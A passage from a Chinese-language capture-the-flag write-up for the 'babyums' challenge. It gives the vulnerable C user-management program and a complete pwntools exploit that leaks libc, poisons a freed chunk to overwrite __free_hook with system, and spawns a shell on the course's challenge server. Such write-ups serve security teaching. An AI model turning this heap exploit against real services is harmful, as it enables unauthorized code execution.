free_hook = libc + 0x1eee48 fake_chunk = pwn.flat( 0, 0x31, b'CCCCCCCC', b'CCCCCCCC', b'CCCCCCCC', b'CCCCCCCC', free_hook ) data = b'/bin/sh\x00'.ljust(0x10, b'B') edit_data(1, int('0x48', 16), data+fake_chunk) edit_data(2, 8, pwn.p64(system)) del_user(1) r.interactive() ``` ![](https://i.imgur.com/hpFvhVx.png) ![](https://i.imgur.com/xoJl9yv.png) ## babyums(flag2) * 題目程式碼 ```cpp= #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define FLAG1 "flag{XXXXXXXX}" struct User { char name[0x10]; char password[0x10]; void *data; }; struct User *users[8]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 8) printf("no, no ..."), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); if (size >= 0x500) printf("no, no ..."), exit(1); return size; } void add_user() { short int idx; idx = get_idx(); users[idx] = malloc(sizeof(*users[idx])); printf("username\n> "); read(0, users[idx]->name, 0x10); printf("password\n> "); read(0, users[idx]->password, 0x10); users[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; idx = get_idx(); size = get_size(); if (users[idx]->data == NULL) users[idx]->data = malloc(size); read(0, users[idx]->data, size); printf("success!\n"); } void del_user() { short int idx; idx = get_idx(); free(users[idx]->data); free(users[idx]); printf("success!\n"); } void show_users() { for (int i = 0; i < 8; i++) { if (users[i] == NULL || users[i]->data == NULL) continue; printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data); } } void add_admin() { users[0] = malloc(sizeof(*users[0])); strcpy(users[0]->name, "admin"); strcpy(users[0]->password, FLAG1); users[0]->data = NULL; } int main() { char opt[2]; int power = 20; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("**** User Management System ****\n"); add_admin(); while (power) { power--; printf("1. add_user\n" "2. edit_data\n" "3. del_user\n" "4. show_users\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_user(); break; case '2': edit_data(); break; case '3': del_user(); break; case '4': show_users(); break; case '5': exit(0); } } printf("No... no power..., b..ye...\n"); return 0; } ``` * 解題過程 & 執行結果圖 根據 babyums(flag1) 得到的 shell 進去查看 `/home/chal/babyums.c` ![](https://i.imgur.com/MEpJQOH.png) 可以看到 FLAG,只是 "FLAG" 大小寫好像有點問題? 後來跟隊友討論才發現好像是小寫 ![](https://i.imgur.com/um6127M.png) * 解題程式碼(同 babyums(flag1)) ```python= # nc edu-ctf.zoolab.org 10008 # P.S. flag1 is the password of admin import pwn import time def add_user(index, name, passw): r.sendlineafter(b'> ', b'1') r.sendlineafter(b'index\n> ', str(index)) r.sendlineafter(b'username\n> ', str(name)) r.sendlineafter(b'password\n> ', passw) time.sleep(1) def edit_data(index, size, data): r.sendlineafter(b'> ', b'2') r.sendlineafter(b'index\n> ', str(index)) r.sendlineafter(b'size\n> ', str(size)) time.sleep(1) r.send(data) def del_user(index): r.sendlineafter(b'> ', b'3') r.sendlineafter(b'index\n> ', str(index)) time.sleep(1) def show_users(): r.sendlineafter(b'> ', b'4') pwn.context.arch = 'amd64' pwn.context.terminal = ['tmux', 'splitw', '-h'] r = pwn.remote('edu-ctf.zoolab.org', 10008) add_user(0, 'A'*0x8, 'A'*0x8) edit_data(0, int('0x418', 16), 'A') add_user(1, 'B'*0x8, 'B'*0x8) edit_data(1, int('0x18', 16), 'B') add_user(2, 'C'*0x8, 'C'*0x8) del_user(0) show_users() r.recvuntil('data: ') libc = pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 # ? system = libc + 0x52290 free_hook = libc + 0x1eee48 fake_chunk = pwn.flat( 0, 0x31, b'CCCCCCCC', b'CCCCCCCC', b'CCCCCCCC', b'CCCCCCCC', free_hook ) data = b'/bin/sh\x00'.ljust(0x10, b'B') edit_data(1, int('0x48', 16), data+fake_chunk) edit_data(2, 8, pwn.p64(system)) del_user(1) r.interactive() ```